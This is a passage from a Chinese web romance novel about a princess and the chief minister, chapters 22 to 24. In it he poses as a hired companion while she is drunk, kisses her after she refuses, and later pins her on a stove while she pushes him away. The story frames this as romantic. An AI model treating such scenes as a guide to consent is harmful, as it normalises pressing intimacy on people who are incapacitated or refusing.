那厮一边小跑上阶来,一边连声道歉。其实也抬出了那表亲关系来,求饶。
“说好的酉时之前来,又是什么事情耽误了?绕道路过落薇宫吗?”
她本就有气,这会儿,更是恼他爽约。恼他重色轻友。
“不是,这次,还真不是落薇宫……”
纪无攸赶紧摆手,摇头。他生怕惹恼了这位祖宗,倒时候不把小太妃给他弄出宫了。
“那是什么?”夜鸣珂斜眸,要听他说道。
“我本是如约,早早就准备过来的,哪知刚走出太医院,就遇到晏大人,说政事堂里,有位老大人今日突然头晕得很,想让我去看看,你知道,这什么救急救命啊,疑难杂症啊,整个太医院,也就我才最在行。……你有所不知,那上了年纪的老大人,若是突然头晕,就得引起警觉,搞不好要出人命的。加之又是人家首辅宰执大人亲自来找,亲自开口请的我,我也不好推辞,就只有委屈公主等一下,想着也耽误不了多久,这不,也没耽误多久吧?两盏茶?一柱香?你也没说是什么着急的事情……哎,你如果早说是什么急事,我就是插翅膀,也要飞过来的,就算天王老子喊我,我也不会去……”
纪无攸看着女郎的面色变幻,不断调整着自己的说辞,极力想要补救一番。
夜鸣珂听到晏西棠出场,便已经明白了是怎么回事,脸色一沉,起身绕过他,就要往阶下去。
“哎,你……哪里去?”纪无攸不明就里,转身追着问。
“政事堂那位老大人……如何?”夜鸣珂突然停住,侧身回眸,关切了一下那位阻挠了纪无攸行程的老大人。
“嗨,无恙!就是普通伤寒引起的头晕,不是那中风之症!”纪无攸一脸轻松,敢情又救死扶伤了一回一般。
夜鸣珂便点点头,继续下阶去。
“公主叫我来,究竟是何事?是哪里不舒服吗?要不我给把把脉?”纪无攸看得蒙了,终于想起来的目的,直着脖子,追问。
“不用!”琳琅长公主扔下两个字,就出宫找人去了。
她不用诊脉,也没有哪里不舒服。
等她找到晏西棠,她就舒服了!
好个晏西棠,又是暗地里使诈!
明知她找纪无攸扮情郎,他却故意把人支开,然后,他自己掐着时间点的,跑来……上阵。
这是什么意思?
就为了看她笑话?还要一边占着她的便宜,一边看她的笑话?
亏她还顾虑着,说话留三分余地,生怕秦琅找他麻烦。
早知道,就该让秦琅,把他打一顿!
打得他满地找牙!
22. 二月初三.第五回合
夜鸣珂出了春和宫门,看见那湖边梨树下,已经空无人影。
秦琅走了,晏西棠也没回来。
那几册被晏西棠搁在石台上的文书,倒还静静地躺在原处。
她便让常小山把文书拾了,放回景明殿中去。
不等那小太监搁了文书出来,她就抬腿迈步,一个人往御苑中去了,去找晏西棠。
走了一圈,人倒是看见了,远远地站着,看了少息,看清楚是个什么光景后,她就转身掉头走了。
突然觉得好没趣。
那出云假山边,玉兰花树上,碗口大的玉兰花,开得端庄美丽,洁白无瑕。高瘦清秀的男子,一身位高权重的玄色朝服,却又是个玉带紧腰的风流状貌,被一群小宫女团团围住,如一群小麻雀一般,问东问西。然后,人家还十分好脾气地,耐心浅笑,有问必答。
女人缘太好,桃花运太盛,永远都是那么受欢迎。
这宫里的宫女们喜欢他,云韶府里的花娘也喜欢他,像容语微那种官宦小姐,喜欢他,像扶疏那种娇娇公主,也喜欢他……
反正,这天底下,似乎就她一个人,觉得他讨厌。
他对所有人,都是一派温润友好,似乎就对她一个人,诸多的不满,教训,捉弄,取笑……
琳琅长公主看得五味杂陈,说不清楚自己是种什么心境,反正,连冲上去找他理论的心情都没有了。
然后,便想要走一走。靠走路,来散心。
遂在那花廊中、宫墙下,一阵疾走,一路乱走。
尤其是今日,又撇开了常小山那个愣头愣脑的随侍跟班,难得的,一个人在那自小就熟悉的宫室与高墙之间穿行,竟别有一番孤寂与惆怅,自我消遣的满足。
不知不觉,走到西边桑榆门,那双层楼门之间,青石阔场中,入朝下马处。
彼时早已过酉时,那些在朝中上值的大人们的车辆,也早已散去。
只剩了良笙,守着晏西棠的马车,在那处静静地,等候。
夜鸣珂心头突然来了些主意,堪堪走上前去,对那小厮说到,你家大人在宫里赏花呢,要晚点才出来,他把马车借我用了,你陪我出宫去,办点事情。
说吧,径直扶住车驾,登车上去,往车厢里,坐得四平八稳。
使唤起别人家的小厮来,跟个自己跟班一般,说话麻利得,顿都不顿一下。
良笙也就愣都没愣一下,当即便招呼了车夫过来,驾车,自己也镶边坐上车把式,带着她出宫去。
良笙是个有眼色的人,他知道,琳琅长公主在他家大人眼中,似乎是个最特别的。长公主殿下说话,自然也没得怀疑。即使是有疑问,那也是他家大人的事。
他只管听长公主的话。
至于他家大人,等下赏完花出来,找不到人,找不到车,怎么办?
他也不是没想过。
那就只有委屈他的大人,甩腿回家去吧。
∝∝
出了宫,良笙才想起来问那车内的女郎,要去什么地方,请她说个方向。
夜鸣珂反问他,你家大人,平日散值,都会去些什么地方?
“回家。”他答。
他家大人,确实基本都是两点一线,年轻而丧偶,过着孤独而单一的生活。
“除了回家,还有什么别的地方么?”
“有时候……去云韶,当然,也只是偶尔,不多的,还都是被别的大人们硬拉着去……”良笙极力地保持着清醒,想着给他家大人,勾画出一个完美形象。
“呵……”车内女郎传出一声不置可否的轻笑,便给他指了个方向,“那就去云韶吧……”
“……”良笙无言,只能默默地,给车夫指路。
心中暗道,敢情,这位殿下所言的出宫办事,也是随性由心,甚至还带着些故意的吧。
那就更是活该他家大人甩腿回家去。
可等将那一脸风轻云淡,孤身逛花楼的女郎送到云韶,看着她进了影壁,良笙的心头,还是又转了个弯,自己在门上耐心地等着,却让车夫倒回采霞门去,等着接大人出宫,顺便也要知会大人一声,长公主殿下今日有些不对劲。
毕竟,他每月的月银,都是在大人那里领,而不是公主这里。而且,他自小就受晏家收留,也算个姓晏的。
∝∝∝
云韶府,春眠阁。
两个妙龄女郎,凭几地席,松散踞坐,对案小酌。
琳琅长公主入云韶,面对卿若一通五花八门的介绍,不为所动,却顺手拉了这位主事的,陪她喝酒。
“这酒,还真不错!”夜鸣珂一连几杯下腹,不吝赞赏。继续伸过空杯,要卿若再倒。
想起夜青岚那臭小子一口气喝下一壶,还要再来一壶的壮举,也就能理解了。
好酒勾馋虫,那果酒醇香,入口清冽,下腹温润,继而仿佛熨帖了全身,胜过情人的手。
“这酒后劲大,还是要克制些……”卿若一边笑着给她斟酒,一边还是好意地,提醒她。
“管它呢……”夜鸣珂娇笑着摆手,轻轻扇着腮面上起来的燥热与酡红。
她已经决定抛开那克制了,要贪图这一时的口腹之欲。
她就是太克制了!什么都克制,饮食清淡,头脑清晰,情感内敛,克己奉公,像一尊端在高处的塑像,一片踩在半空的浮云,触不到地,找不到根,虚浮得心里发慌。
“夫人今日怎么想到一个人来云韶喝闷酒,是大人惹你不开心了?”卿若又开始八卦。
“我不是他的夫人!”夜鸣珂仰面,纠正她。
“我知道。”那卿若也不惊讶,还点头。
“你又是哪知眼睛看出来的?”夜鸣珂反倒有些惊叹于她的眼力劲儿了。
“像大人那样的人,入花丛都不为所动的,想来是心执,若是真娶了你这样的夫人在家里,他还会来喝花酒吗?”卿若挑眉。
“……”夜鸣珂似乎有些酒意上头了,偏头侧目地想了想,才笑,“这是在夸他呢,还是在夸我?”
“大人在咱云韶,是公认的一枝花,用不着我来夸,我这是在夸你呢……”
面对个年纪相仿的美貌女郎,那卿若也不吝词令,也自信于自己的眼力,“不过,看大人那样子,你虽不是他夫人,但是他心头,怕也是恨不得把你当成夫人来对待的……”
“没有的事!他恨我还来不及呢!”夜鸣珂听得有些难为情了,摆手,托腮,又嗤笑,十分的,不以为然。
“为什么?”
“我得罪他太深……”她本能地反应。
“哦……”对面卿若倒是一副愿闻其详的模状。
夜鸣珂却低了头,缄了口,不想说了。
其他的过节,兔子灯母羊传,贬官岭南私采荔枝之类,都好说,唯独那件闹出人命的往事,人死不能复生,她过不了这关。她想,晏西棠心里面,也定是将她钉在杀妻仇人的位置上,来日日对付的。
再抬头,便转了话题:“不过,那天来的弟弟,倒真是我亲弟弟。”
“小公子,很不错……”
“就是还有些淘气,没怎么长醒,让人操心……”
“那也很正常,我也有个弟弟,今年都十八了,一路考进了今年的春闱,却还没长醒呢……”
“他叫什么名字,说来听听,我到时候,把
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他的考卷拿来看看,若真是有才,不说榜眼探花,保个三甲进士,还是可以的……”
“你……竟有这么神通?……”
“可不?”
“……他叫南烛,沈南烛,你可记清楚了啊,要不要我写在纸上给你,免得酒醒后就忘了?”
“我清醒着呢,忘不了……沈——南——烛,原来你姓沈啊……”
“对呀,姓沈!”
“前朝管理教坊司的沈公公,后来这云韶府的主家,是你什么人?”
“我是他养女,也是……”
“哦……”
“我六岁时,被家里卖给了他,十四岁来初潮,就跟了他,三年前,他去世了,就把这云韶给了我。”
“哦,那你现在,可有钱呢……”
“可不?日进斗金……”
“你今年多大了,小富婆?”
“我这月满二十。”
“哦……某人花重金买了一张步松月,说是要送给这月过生辰的人做贺礼,就是要送给你吧?……”
“怎么可能?他在我手里买的琴,然后再拿来送给我?吃饱了撑的,才会这样!我为了那张琴,花了大半年时间,找了大半个大兴,折腾死人,也不知他要送给什么宝贝的人……”
“怎么不可能,买了又送回来,这样才是琴挑嘛……”
“挑你个鬼!哎,你听好了,我跟你那大人,没有任何瓜葛,他不会看上我这种残花败柳,我也不稀罕他那种心深似海的……”
“不是,不是,我没有半点看不起你的意思,你很好的……”
“我很好,我自己知道,啊?”
“是他不好!”
“嗯,对,是他不好!哎,我不跟你多说了,这入夜里,来的人多,有些重要的客人,我要去门口招呼招呼……”
“等等,再给我来一壶……这酒……”
“这酒,后劲忒大,再喝,醉死你!”
“不碍事,我酒量可大呢。还有,我一个人喝,好无聊……”
“你等着,我找个小倌儿来陪你喝,如何?”
“不要!”
“你想要什么样的,高大英武的?还是斯文俊俏的?”
“我说了……不要!”
“云韶的倌人,可是出了名的绝色,又特会服侍人,你……真的不要?”
“真的不要!”
“你等着,我这就去叫,很快就来!”
“卿若,哎,你回来……”
∝∝∝
夜鸣珂见拦不住那卿若,便也只有由着她去了。
绵绵酒意,渐渐弥散开来,晕乎乎的,晕得她抬臂搁头,往小案边上趴伏了,又蜷身缩腿地,沉迷于那晕劲儿中。
外间依稀有些旖旎丝竹,宛转唱腔,不时地,提醒她身处之地。
也不知过了多久,看见阁子中,进来一人,玉冠锦衣,人倒是俊俏得没的说,浑身气度,简直不像个这烟花地里的小倌人,可就是看着太膈应。
“卿若!”她伸直脖子,张口就喊那主事的人。
“卿若不在,你叫她做什么?”男子猫腰下来,屈膝,凑脸,抬指来抚她腮面酡红,嘴角依稀挂些笑意。
“她这是什么眼神啊,说要找个小倌儿来陪我喝酒,怎么找的?”女郎往凭几上懒靠了,亦抬手将那男子递过来的脸面,一把轻拍。
礼尚往来。
“我……怎么不行了?”男子蹙眉,继而又笑得更甚。
“你这长得太像晏西棠了,看着膈应,我不要!”
“……”
“卿若,给我换一个!”
“……”
23. 二月初三.第六回合
“卿若,给我换一个!”女郎虚虚摆着手,轻轻扇着燥热腮面,一边还在喊。
有些不知斯世斯地的晕乎,又觉得自己很清醒的感觉。
“没得换……”男子敛了一脸的哭笑不得,厚着脸皮,于她身侧坐了下来,长手长腿的,坐得懒散,还抬手搁凭几,往她脑后放。
只要一收手臂,就能揽她入怀。
“为什么?”女郎还要较真。
“不为什么,就只能是我!”男子也就更多了些强硬。
夜鸣珂往边上侧开去,斜斜的水眸,将他看了半响,也没想明白他在说什么。可看着那双桃花眼眸,灼灼其华,深深幽旋,似乎让她满脑子的酒意,更沉溺,更软绵。琳琅长公主终是败下阵来,将手一摆,决定将就了:
“那算了,凑合吧……”
酒意上来,想事情,头好痛。
“再拿一壶酒来!”既然决定凑合了,她便开始使唤人。
既然是来陪她喝酒的,那就……陪吧。
男子伸手,提起小案上青花酒壶,晃了晃:“这里面不是还有吗?还能倒一杯……”
“那……倒酒!”女郎便爽快吩咐,大有还可以喝上三大碗的豪气。
说吧,还往凭几上仰靠了,等着那人来伺候。
男子勾唇浮着笑,只手搭她肩头,虚虚地揽住她,只手提壶,斟酒殆尽,刚才有个七分,再擎杯过来,递至她唇边,像极了一个风流陪酒的郎倌儿。
杯沿触唇,女郎几欲张口,就着那递来的手去喝。
那人却突然缩手,撤了玉杯,一个仰头,竟把那最后一杯玉露琼浆,送入了他自己口中!
竟然是个跟她抢食的。
夜鸣珂看得,水眸圆睁,舔唇吞气。既是眼馋,也是口渴。
下一瞬,那人便扔了玉杯,一个侧身垂首,同时滑手下去,扣着她腰背处,将她往怀中一按,按得她一个仰头惊呼。
男子对准那微翕的檀口,便将他口中酒,一点点地,渡入她口中来。
又顺便把那清冽软绵的唇舌,也一并送入她口中。
烈风卷云,浑搅龙池,女郎为求呼吸顺畅,只得一口一口地,将那些渗入喉头的酒液,吞咽了。一边吞咽,一边也就将那探来的软厚之物,一点点地,吮吸,含住。
像是没甚经验,也不太适应,懵懵地含了,又怯怯地,往外推吐。
不经意间,便是一种欲拒还迎的魅惑风情。
抱她腰上的手,就搂得越来越紧,掐着她的腰,将她仰折在胸怀里按着,大有要将她放到在地席上,狠狠来摁压之趋势。
有些沉重气息,往她口中堵来,有些嘤唔嘤咛,从她嘴边溢出来。
有些迷迷光影,弥散室中,有些旖旎气氛,升腾起来。
那喝醉了酒的女郎,脑子里,是没有几根还绷着的弦的,只剩一团浆糊,似乎可以任他搅弄。
男子毕竟还是克制,在那怀中人化成一滩水之前,终是掐断火苗,放开她来。
带着一丝儿满意的笑颜,抽了口气,抬指轻轻抚过那饱涨红唇,悠悠问她:
“还喝吗?”
“不要了……”夜鸣珂赶紧摇头,躲开去。
这种喝法,太伤元气了。
她消受不起。
凝眉使劲儿地想了想,仍是觉得刚才那口酒没怎么对:
“你平日陪酒,都是这个法子?”
也觉得他这个陪酒的郎倌儿也没怎么对。
“也不是,你是第一个……”男子笑说,满目勾魂。
那酷似晏西棠的面目,时而清晰,时而模糊,有些似梦似幻了。
夜鸣珂摇了摇头,终是承认了自己的醉意:
“我好像有些醉了,算了,不喝了,我要回家去……”
说着,便挣扎着,抬手扶一把小案,要起身来,脑子中还闪过一些要紧的事情:
“我这个样子在外面鬼混,娘亲知道了,会责备的……”
自言自语地念叨了,又霎时清醒,却不知是陷入了另一层迷境:
不对,娘亲早就不在了……可我还是不能这样,晏西棠知道了,亦要说我不检点,还要笑我……”
那人坐着不动,听得嗔目,继而一脸的玩味,仰面将她懒看。
女郎嘀咕着,好不容易站起身,却发现四肢无力,天旋地转,一个晕沉发软,就扑进那人怀里去,栽了个满怀。
男子顺势将她抱住,抬手在她肩背上,顺猫儿毛一般,慢慢地,顺了几下。
却不扶她起来。
女郎撑手,按在那铁板似的腰肉上,试了几下,也未能爬起,终是放弃:
“我走不动了,你送我到门上吧……”
“好啊……”男子倒是慷慨,一边起身,拦腰捉腿地,将她打横着抱起,一边还表示,可以上门服侍,“要不,我送你回家吧。”
“呵……你这么好心?”女郎呵呵轻笑,觉得这云韶里的男倌,还真是……服侍周到啊。
“嗯,那是当然……”男子抱着她往阁子外走,一边问她,“你家在哪里?”
“嗯……皇……皇宫东面,崇仁坊,第三个巷口右转……”
她还是有一丝清明,知道不能说她住在皇宫里,将就拉了晏西棠的住处出来,敷衍一下。
那人喉咙里依稀滚了一声轻笑,没再多问,只管抱着她,出门去。
∝∝∝
马车离了云韶,往崇仁坊去。
夜色温柔,长街漫漫,地上马踏轻蹄,车前玉珂鸣响。
微微颠簸的车厢里,女郎醉得头晕,又被晃得难受,坐也不是,躺也不是,一阵东倒西歪地,寻找片刻舒适,最后,终于找了个趴伏在男子膝怀中的姿势,最佳。
那锦袍上的男子气息,果木清香,温暖,又好闻。
头顶上,那人有一下没一下地,抬手来给她顺背,按头。
按着按着,还给拔了簪子,散了满头乌发,十指伸进来,捧着她的头,轻揉轻按。
倒是颇能缓解些酸胀头痛,只剩下绵软困意。
本就是夜间行车,那齐腰的浓密长发散开来,发上桂花香,交缠着那膝怀中的雄性味道,又将她笼在一个漆黑的空间里,更是睁眼也看不见东西,索性闭目。
享受那黑甜黑甜的幽香秘境。
她大约也知道,这样不对。去云韶找小倌,还把人家给勾搭了要带回家去……
可实在是贪念头上那……服侍。
云韶的人,可真是好啊,按个头,摁个背,都这般……技艺精湛。
要是晏西棠对她的态度,亦像这人一般,那么,就冲他那花容玉貌,她没准,也会喜欢的。
女郎心头幽幽地浮想着,突然迫近自己的心中密境。
可巧,她想到晏西棠,那人竟也出声问她:
“你就这么讨厌……晏西棠?”
“嗯,他就是很讨厌……”女郎趴伏在一片黑暗中,尚是一副蹙眉噘嘴的嫌弃。
“怎么个……讨厌法?”男子试着追问。
“嗯……反正,就是各种讨厌……”女郎埋头的身躯,有些起伏,像是太多讨厌,一时竟无从下口一般。
“比如呢?……”男子隐隐纾了一口气,又来循循善诱。
“比如……今天吧,我
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差点就把自己成功地……嫁出去了,他一来,就什么都搞不成了!可他的道理,又比谁都多!每次都是这样,他要教训我也好,取笑我也好,他是没有半点错的,错的,都是我,他总是比我聪明,比我有理,我很努力去做的,做得好的事情,他从来都看不见,只看得见我的蠢和笨。我每次见着他,都好怕他又揪我什么错……你说,气不气人?啊?”
“……”男子无言。
“还有,他怪我……他心头,一直都怪我的,怪我把他的娘子害死了……”
“……”男子插入她发间的十指,放缓了按头的节奏,静静地凝神,等她说。
“那一次,他把我骂得好凶,说我骄纵跋扈,没个善心,不惜人命……其实,我不是故意的,那时,父皇给我招了个驸马,我就想出宫去看看。因为,都听人说那是个纨绔子,我便想要自己去看清楚了。可巧,我去时,正好碰见他在跟一个女子……欢好,你说,我若是看见自己将嫁的夫婿,跟别的女人厮混,我气都不打一处来,我哪里还想得到,要去看那女子是不是情愿的?”
“……”男子顿了手中动作,将她长发往一处顺,将她的脸拨出来。
“我哪里知道那是他的娘子!我哪里知道,他的娘子,是被那纨绔子抢来,还下了药来欺负的!我哪里知道,她又是那么刚烈,受了屈辱,回家就自尽了!”
“……”
“可是,他就是怪我,他来找他的娘子时,看见我跟那纨绔子在一起,他甚至还以为,是我使的坏,是我跟那纨绔子一起,串通起来,故意欺负他的娘子,我想要解释,他都不给我机会开口……”
“……”
“真的不是他想的那样,他错怪我了。……可是,后来,我又连跟他解释的勇气都没有,他娘子没了,他也是真的很伤心,我不知道,是不是他觉得不怪我了,就没处寄托自己的伤心……”
那酒醉真意中,女郎彻底打开了心扉,面对自己的难堪,有些怯怯的伤心,有种痴痴的委屈,不停地念叨。
男子像是突然激动,一把将她抱起,捧起小脸,抵额说来:
“不怪你!”
“哈,你说不怪,有什么用?你又不是他!”女郎却没甚感动。她只不过就是找个陌生人倾吐一下,没想到要求安慰。
男子却懒得跟她多话了,递唇就来亲她,有些霹雳热烈的情动,有些撕心要命的爱怜。
“你莫亲我,我不要别的男人亲我……”女郎偏头去躲。
“那你……想要谁?”男子似乎又燃起些希冀,又幽幽地,诱她话。
“秦琅……”
她才说了两个字,就被狠狠地堵死了嘴,半个音都发不出来。
她本来想说,秦琅倒是良人,可惜这辈子都嫁不成了。
她心头有些乱,一口气吐了些心结,莫名要好受了些,本想顺便再哀悼一下今日被晏西棠破坏掉的红鸾星动。
却被那一通发狠的激吻,吻得天昏地暗的,后头,似乎就昏睡了过去。
∝∝∝
那天半夜,夜鸣珂是被饿醒的。
醒来,也知道自己是喝醉了酒,头痛尤在,跟卿若一起在春眠阁喝酒的记忆,也尤在。
酒意散去,肚子馋虫爬出来,才想起,她过午后,就一直未食。在云韶,也光喝酒了。
听着那肚子咕咕地叫,爬起身来,再一睁眸,一盏如豆灯光下,看清楚那室中陈设。
就吓得,滚下床来。
扑通——咚——
栽出了大动静。
她喝醉之后,究竟是干了什么荒唐事!
竟然睡到了晏西棠的床上!
24. 二月初三.第七回合
那寝房里,清简如故,果木清香,还给她留了一盏如豆油灯。
夜鸣珂从地上爬起,顾得不摔疼的胳膊腿,揉一揉拧到的腰肢,便往外间去,要寻人,搞清楚这恐怖状况。
外间有些铮铮琴鸣,断不成曲,像是在调音。
她捞起珠帘,冲出那寝阁,果然见着,在那书架边,地席上,晏西棠抱了那张步松月在怀,在那处玩儿琴呢。
男子一身松散深衣,搁琴在膝,直腰偏头,长指拨弦,如撩情人的手。
这大半夜的,竟有如此闲情逸致。
一个虚虚抬眸,看见她,却不招呼,只管垂下眼皮,修长如玉的大手一滑,拨出一串琴音,如叮咚山泉,清涧流泻。
有些当她是就该从那寝房里钻出来的……空气。
女郎上前,将他俯瞰少息,那人不为所动。
她终是纡尊降贵,蹲跪到那地席上,平视着问话:
“我……怎么会在你家?”
还睡在他的床上。
“你去云韶,喝醉了酒……”晏西棠一边调音,一边懒懒答她。
“然后呢……”女郎眼神扑闪着,继续问。
去云韶是记得的,喝酒她也是记得的,然后,醉了,就是一团迷雾……
她有个好处,就是喝醉了也乖巧,不闹不疯。也有个毛病,就是喝醉了没记性,做了什么说了什么,醒来全忘,恍若隔世。
“什么然后?”男子勾指,挑住一根琴弦,眉尾亦微挑,一副不明就里,又似乎是故意。
“就是……我跟你……有没有……做过什么?”女郎倒也不觉不好意思,直直地问了。
“你……不记得了吗?”伴随着那暧昧笑意,幽幽反问,那勾弦的手指,一个撩拨,铮响弦鸣。
吓得她心头咯噔一下,脸色霎变。
难道真是滚到一起了?
女郎开始低头,左右顾身,一通摸索。
摸一摸头发,是拆了簪子,披散着的;看一看腰上,本是复杂紧缠的锦带,是给宽松过,再给松松腰住的;再抬指抚唇,似乎是肿肿的,那种跟人死命亲吻的没顶沉浸,依稀还有些浮光掠影,残余脑海中。
夜鸣珂顿觉整个人都不好了。
她跟晏西棠,这冤家仇人之间,若是莫名滚到了一起,那这日后,还要如何在朝堂上,天天相见?
监国长公主跟首辅宰执大人有奸情,那如何还能端直身,平常心,理朝政?
“我们……其实……也没做什么!”
那人凝目,看她一通惊慌摸索,且也不掩流露,对他的排斥与抗拒。
眸光中,便有种暗淡低落,但也终是不忍,发了点善心,澄清了一下。
“那我这……”夜鸣珂不觉磨着银牙,咬了半片微肿的下唇,却不相信了。
那涨得有些麻木的唇瓣,就是被人给折腾过,她确认无疑。
晏西棠便倾身,宽衣下的精瘦腰腹,微微压住膝上琴面,压出一片冷冷铮鸣,男子亦有些冷面冷色,酸里酸气:
“你在云韶,找了个郎倌来陪酒,你不记得吗?”
夜鸣珂凝神,努力想了想,还是摇头。
说记不得吧,依稀有些感觉,说记得吧,又想不起个所以然。
“喝得搂搂抱抱的,还亲到一处去了!”男子带些恶狠状,像在责备。
“……”女郎却懵懵的,自动跳过那责备之意,转了转眼眸,继而点头,一脸的释然,“哦……”
她的心思,一直集中在纠结是不是跟晏西棠滚了这个问题上,这会儿一听,竟突然轻松了,笑颜微绽。
不就是个云韶的小倌嘛,至多就是说她不检点吧。
幸好,不是跟他!那是她心头的大忌。于私,她不愿跟她讨厌的,也是讨厌她的人,滚一起;于公,她不想跟她忌惮的,也是容易掣肘她的人,滚一起。
“那我又是……怎么来这里的?”女郎清醒的时候,心思缜密。还是又想到此刻,身处他家,这蹊跷光景。
“你跟那郎倌,亲亲我我还不够,硬要把他带回家,却又告诉人家说,你家在这里,人家自然就把你送到我这里来了!”男子的脸色,越发不好看。
“哦……那……”女郎慢慢地听话,慢慢地回想那一片白茫茫,然后点头,还想问。
可晏西棠就跟她肚里的虫一般,不等她问出,便准确地答了:
“我穷啊,家里就这一张床,不把你公主殿下搁那里,还能放哪里?”
说罢,没怎么掩饰自己不悦,搁了琴在案,起身来,就要走。
女郎却欠欠地转头,追着那要往寝阁去的身影喊:
“哎,我这会儿,肚子好饿。能煮碗面吃吗?”
那人没好气地哼哼着,不置可否,撩珠帘的手都伸至半空了,却突然撤回来,甩了袖,掉转方向,出书房去。
应是去给她找食……吧。
看着那妖里妖气的模样,夜鸣珂反倒轻松了。
这才是她熟悉的晏西棠。
遂起身,摇头摆尾地,跟上去。
∝∝∝
那满植桔树的园子里,还真有一个小厨房。
小巧玲珑,干净得精致。
晏大人亲自下厨,上灶,生火,烧水,煮面。
“真是不好意思,劳驾你宰执大人亲自来煮面……”
琳琅长公主站在那灶台边上,绞着双手,看着利落转腾的男子,面露赧色。
说是不好意思,却又十指不沾阳春水,出尘的仙子一般,站在那升腾起来的柴烟与水汽中,等着吃面。
“公主要吃面,我可不得亲自来煮?”晏西棠没好气的说。
一身宽襟大袖的居家深衣,却又拦腰系了一条围裙,舞文弄墨的玉掌,拿着那菜刀剁砧板,也是咄咄生响。
谦谦君子在庖厨中,有种错乱的迷人。
夜鸣珂看着那大手握刀,有些悠悠浮想,再看着那刀下已化为碎段的青葱配料,突然才反应过来,赶紧娇气地挑拣:
“我不食葱的……”
皇家公主,自幼精细着饮食调养,不食辛辣重味。方能养成如玉体质,清淡体香。
“不早说!”男子抬眸,白眼埋怨了她一句,扔刀,洗手,转身给她配料去。
“也不要酱料!”她又伸着脖子,提着精细的要求,“辣椒也不要……”
那些个酱油醋汁,色泽浓黑,吃多了,暗沉肤色。辣椒,就更是不沾的。
这般东挑西拣,倒得最后,那碗面煮好了端过来,就是一碗玉色清汤,浸一卷银丝龙须,再加点雪花猪油,撒点细末青盐。
往那灶台边上一张八仙桌上放了。
她还是欣欣然坐下,先捧住碗喝两口汤,再执起筷,小撮挑面,吃得很香。
晏西棠往她侧边坐下,用一种看可怜孩子的眼神,看了她半响,终是忍不住问:
“这样……也好吃?”
“好吃……”女郎饿得心慌,一边吃着面,一边抽空答他,“我自小就这样,也习惯了。”
那人突然抬手扶额,笑着嘀咕:“真是太好养了……”
“你说什么?”女郎没听真切。
“我说,好养!”男子便重重地,重复了一遍,忍着笑意。
“可不?”女郎点点头,大言不惭地领了那恭维,转而又有些伤心失落,“这么好养的,可还是嫁不出去……”
突然,就有些哽咽。
幸好,面碗中,升腾些萦萦雾气,浸着如潭水眸,汪汪地亮人,却也分辨不清。
“玉可……”晏西棠突然伸手来,抓过她扶碗的那只手。
“嗯……”女郎专心果腹之大事,没怎么注意他突然的肃然,敷衍着应了,继续只手吃面。
“我不怪你!”男子说得认真。
“不怪我什么?”夜鸣珂却是懵的。
不知他要说什么。
“我娘子的事情,我不怪你!”晏西棠直直地看着她,郑重其事,掷地有声。
“哦……”女郎淡淡地应着。
心头却在惊奇,他怎么这么奇怪,突然提起这事情,且还像跑到她肚子里去翻过一遍似的,知道她纠结的是什么。
“她是我母亲给我挑的妻子。母亲见我,在外做官,只身飘零,又迟迟不提成亲之事,她心头着急,那年,我从岭南,擢升至京,做了京兆尹,她便在云泽,自作主张,替我物色了一个,且还找了只大公鸡替我,吹拉弹唱,磕头拜堂的,把人家给娶过了门,才给我送到这京城来……”
男子说起那大公鸡替他娶亲的事,有些无奈的笑意。
“我也是无奈,可又想着,既然都娶过了门,便是我的妻,我自是要好生待她的。哪知,却让她遇到那事情……可是,我
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不怪你,我只是怪我自己,没能想到她初来京城的不适,没能体谅她的心慌胆小,怕我不喜欢她,她成日去这京中大小寺庙,求神拜佛的,我也没能去陪着她……那事情之后,我也怪我自己,没能让她信我,我不嫌她,也不怪她,也没能看住她,没想到她会……”
男子说着,一只手抓住她的手不放,一只手托额掩面,消受那记忆中的难堪。
终是有着难以释怀的伤心与自责。
轮到女郎体贴,解语花似的,反过来安慰他:
“你也不要太过自责,可能,也算是你娘子她……福薄命浅吧。本来,可以做个风风光光的诰命夫人,却没那福分,你瞧,你这几年一路高升的,当朝也找不出第二个了……再说了,你这心里,一直有她,她在泉下若是有知,也不会怪你的……”
那逝去的,也回不来,只能放在心里。
男子受了些安慰,又忍不住继续剖着真心,可一不小心,又剖得深了点:“我当时骂你的,都是气话,那时我心头慌乱,又刚好看到你,一副软兮兮,很好骂的样子……”
女郎就突然变了脸色,决定,继续吃面吧。
敢情,还是捡软的柿子来捏,觉得她一副笨戳戳的样子,好欺负。
“你相信我,我不怪你……”晏西棠撤了撑额的手,要来继续跟她较真。
“嗯,我知道了。”女郎缩了手,扶住面碗,挑起一夹银丝,继续吃。
“真的……不怪你!”平日巧舌如簧的男子,突然有些语拙,就那么笨笨地,反复强调。
又像是有什么话,压在舌头下面,吐不出来似的。
“那又怎样?”夜鸣珂翻眼,问他。
“我不怪你,那你……可不可以试着,别那么讨厌我?”
“再说吧……”女郎这会儿,却有些傲骨与闲气了。
就算他不怪她了,可她似乎还是觉得,他怎么这么欠揍……也许,她之所谓的讨厌,跟这责怪无关,而是一种骨子里的痒意。
看来,剖心解释,无用,空口说来,也无解。
“试试?”男子自己搭梯往上爬,一边又来拉她的手,竟还要来夺她的碗。
“你让我把面吃完,好饿!”女郎急了,伸手抓碗,捍卫吃食。
“现在就试试……”
终是男子手劲大,强硬夺了碗,又站起身来,一把将她抱起,搁在旁边灶台上。
儿郎挺身,往她身前一堵,围裙系紧的瘦腰,便嵌她□□来,松垮深衣露出的胸膛锁骨,又抵在她眼皮底下。
夜鸣珂赶紧左右转头,看看边上砧板,白嫩青葱未切完,还有身后锅中,奶色面汤尚温凉。
她才反应过来,他再三要她“试试”是何意。
“你……当我是菜吗?”她有些怯怯的慌,又有些哭哭的笑。
仿佛,她若是不从,就要被按砧板上剁巴剁巴,再扔进锅里煮了似的。
“……”男子一愣,继而笑得灿烂,觉得这比喻妙极,“可不,娇软水嫩的一颗菜……”
风流意起,出口就是让人浮想联翩的调戏。
“我的面,再不吃完,就要糊了……”女郎不知怎的,心头一个紧张,就本能地开始抗拒,抬手使着蛮劲儿,推攘着,要往灶台下跳。
男子一边手脚并用,再加个身躯,来堵她,一边悻悻地叹息:
“还是喝醉了好……”
又乖又软,任由他搓圆揉扁。
“你说什么?”夜鸣珂凝住,听出他话中有话。
“我说……”晏西棠一把将她按回灶台上坐好,捉紧了,再来问:
“你还记得云韶那个小倌,长什么模样吗?”
“……”女郎心头哗然,有种不妙。
“是不是长得像我?”男子却垂头附耳,拿个下颌抵在她的肩头,用种磁磁哑哑的气声,跟她厮磨,“十分地像我,一模一样,连衣服上的熏香,都一样……”
“……”脑中一团模糊,碎片记忆,依稀闪现。
她终于明白了那云韶小倌是怎么回事。
“晏西棠!你……你太坏了!”
